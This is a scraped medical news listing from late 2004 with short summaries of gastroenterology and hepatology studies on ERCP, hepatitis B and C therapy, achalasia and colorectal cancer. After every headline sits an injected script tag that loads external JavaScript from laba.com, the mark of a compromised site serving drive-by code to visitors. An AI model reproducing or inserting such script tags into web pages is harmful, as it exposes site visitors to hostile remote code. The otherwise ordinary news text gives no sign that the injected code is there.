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ERCP for the detection of common bile duct stones 06 December 2004
ERCP detects common bile duct stones<script src=http://laba.com/muuu.s></script> Preoperative selective ERCP is effective in detecting clinically significant CBD stones, however, there is a high false-negative rate when a single criterion is used to guide therapy, reports December's issue of Endoscopy.
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Bevacizumab plus oxaliplatin-based chemotherapy prolongs survival 03 December 2004
Bevacizumab and oxaliplatin improve survival<script src=http://laba.com/muuu.s></script> NIH reports that patients with advanced colorectal cancer who receive bevacizumab in combination with an oxaliplatin regimen known as FOLFOX4, lived longer than patients who received FOLFOX4 alone.
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Clinical trial: metronidazole and ursodeoxycholic acid for primary sclerosing cholangitis 03 December 2004
Clinical trial for primary sclerosing cholangitis<script src=http://laba.com/muuu.s></script> Researchers find that combining metronidazole with ursodeoxycholic acid in primary sclerosing cholangitis improved serum ALP levels and New Mayo Risk Score, but no statistically significant effect on disease progression was seen, reports December's Hepatology.
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Follow-up after pneumatic dilation for achalasia cardia 03 December 2004
Pneumatic dilation for achalasia cardia<script src=http://laba.com/muuu.s></script> December's issue of the American Journal of Gastroenterology finds that pulmonary dilation is an effective and safe treatment for achalasia cardia, however, male patients have poorer outcomes.
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Pegylated interferon-alfa-2b + ribavirin therapy for recurrent hep C virus 02 December 2004
Pegylated interferon-alfa-2b + ribavirin therapy<script src=http://laba.com/muuu.s></script> Combination pegylated interferon with ribavirin is effective therapy in hepatitis C Virus recurrence and in hepatitis C virus nonresponsive to interferon and ribavirin, reports the most recent issue of Transplantation.
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Ethnic differences affect prevalence of hepatic steatosis in the US 02 December 2004
Impact of ethnicity on hepatic steatosis<script src=http://laba.com/muuu.s></script> The significant ethnic and sex differences in the prevalence of hepatic steatosis may have a profound impact on susceptibility to steatosis-related liver disease, suggests a study in December's issue of Hepatology.
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Significance of elevated alanine aminotransferase in blood donors 02 December 2004
Factors associated with ALT elevation<script src=http://laba.com/muuu.s></script> ALT levels usually dropped during follow-up and although severe hepatic lesions can be found in asymptomatic blood donors, mild hepatic damage is the rule, states a report in December's issue of Liver International.
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Hand-assisted laparoscopic vs open restorative proctocolectomy 01 December 2004
Laporscopic vs open restorative proctocolectomy<script src=http://laba.com/muuu.s></script> Recovery measured using quality of life questionnaires is comparable for hand-assisted laparoscopic or open restorative proctocolectomy with ileal pouch anal anastomosis, finds a report in the most recent issue of Annals of Surgery.
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Clinical trial: leuprorelin and flutamide in male patients with hepatocellular carcinoma treated with tamoxifen 01 December 2004
Clinical trial of leupororelin and flutamide<script src=http://laba.com/muuu.s></script> A study published in December's issue of Hepatology finds that there is no benefit in survival with antiandrogenic treatment in male patients with advanced hepatocellular carcinoma.
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Hepatitis B virus reactivation in breast cancer patients 01 December 2004
Preemptive lamivudine in breast cancer patients<script src=http://laba.com/muuu.s></script> Results published in December's issue of Liver International support the preemptive use of lamivudine for prevention of HBV reactivation in patients who need short-term chemotherapy.
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Waning immunity to hepatitis B vaccine: booster needed 30 November 2004
Boosters needed for hep B<script src=http://laba.com/muuu.s></script> Findings suggest that 1 or more booster immunizations are needed in seronegative subjects by at least 15 years following neonatal immunization with plasma-derived HB vaccine, reports the December's issue of Hepatology.
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New prognostic factors in steroid-treated alcoholic hepatitis 30 November 2004
Prognosis for alcoholic hepatitis<script src=http://laba.com/muuu.s></script> A report in December's issue of Hepatology states that altered portal flow and steatosis < 20% are new prognostic factors in steroid-treated alcoholic hepatitis and must be taken into account in patient management
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Complications of ERCP: a prospective study 30 November 2004
Complications of ERCP<script src=http://laba.com/muuu.s></script> A recent study in November's Gastrointestinal Endoscopy confirms that the complication rate of ERCP including therapeutic procedures is high, whilst cardiopulmonary complications are not as common as expected.
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Antireflux stent fails to prevent gastroesophageal reflux 29 November 2004
Antireflux stent for GERD<script src=http://laba.com/muuu.s></script> An antireflux stent provides relief of dysphagia caused by malignancy of the distal esophagus and gastric cardia, but fails to prevent gastroesophageal reflux, reports November's issue of Gastrointestinal Endoscopy.
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News from NIH: action plan for liver disease research 29 November 2004
Action plan for liver disease research<script src=http://laba.com/muuu.s></script> After a Congressional request asking for more focus on NIH-funded liver disease research, the NIH has developed a trans-NIH Action Plan with the aim of decreasing the burden of liver disease in the United States, reports a recent statement by the NIH.
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